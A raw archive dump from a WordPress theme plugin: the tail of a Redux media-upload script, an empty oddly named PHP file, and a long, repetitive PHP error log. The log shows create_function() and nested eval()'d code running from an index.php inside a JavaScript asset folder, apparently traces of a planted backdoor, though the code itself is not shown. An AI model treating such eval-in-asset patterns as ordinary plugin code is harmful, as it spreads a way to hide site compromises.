'.remove-image' ).addClass( 'hide' );//hide "Remove" button selector.find( '.upload' ).val( '' ); selector.find( '.upload-id' ).val( '' ); selector.find( '.upload-height' ).val( '' ); selector.find( '.upload-width' ).val( '' ); selector.find( '.upload-title' ).val( '' ); selector.find( '.upload-caption' ).val( '' ); selector.find( '.upload-alt' ).val( '' ); selector.find( '.upload-description' ).val( '' ); selector.find( '.upload-thumbnail' ).val( '' ); redux_change( $( selector ).find( '.upload-id' ) ); selector.find( '.redux-background-properties' ).hide(); var screenshot = selector.find( '.screenshot' ); // Hide the screenshot screenshot.slideUp(); selector.find( '.remove-file' ).unbind(); // We don't display the upload button if .upload-notice is present // This means the user doesn't have the WordPress 3.5 Media Library Support if ( selector.find( '.section-upload .upload-notice' ).length > 0 ) { selector.find( '.media_upload_button' ).remove(); } }; })( jQuery ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media/com_rsgallery2.php��������������������������������������������0000644�����������������00000000000�14720701300�0017357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media/error_log�����������������������������������������������������0000644�����������������00004052342�14720701300�0015663 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[16-May-2023 23:26:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-May-2023 23:26:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 00:02:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 00:02:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 01:03:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 01:03:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 02:05:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 02:05:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 03:06:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 03:06:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 11:21:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 11:21:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 15:47:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 15:47:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 16:49:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 16:49:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 17:50:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 17:50:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 18:51:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 18:51:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 19:53:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 19:53:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 20:54:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 20:54:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 21:55:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 21:55:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 22:56:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 22:56:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [17-May-2023 23:58:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-May-2023 23:58:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 00:59:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 00:59:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 02:01:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 02:01:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 03:01:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 03:01:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 08:50:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 08:50:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 09:51:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 09:51:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 12:55:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 12:55:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 14:58:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 14:58:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 15:59:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 15:59:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 17:00:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 17:00:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [18-May-2023 20:03:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-May-2023 20:03:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [20-May-2023 01:13:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-May-2023 01:13:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [20-May-2023 13:49:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-May-2023 13:49:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [20-May-2023 13:49:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-May-2023 13:49:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [20-May-2023 15:12:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-May-2023 15:12:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [20-May-2023 15:12:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-May-2023 15:12:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 14:54:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 14:54:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 14:54:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 14:54:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 16:18:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 16:18:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 16:18:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 16:18:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 21:23:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 21:23:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [21-May-2023 21:23:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-May-2023 21:23:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [22-May-2023 09:41:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-May-2023 09:41:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [22-May-2023 09:42:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-May-2023 09:42:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [22-May-2023 15:23:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-May-2023 15:23:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [22-May-2023 15:23:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-May-2023 15:23:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:10:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:10:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:11:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:11:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:11:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:11:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:11:22 UTC] PHP Parse error: syntax error, unexpected end of file in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 18:11:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:11:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:29:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:29:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:29:49 UTC] PHP Warning: PHP Startup: Unable to load 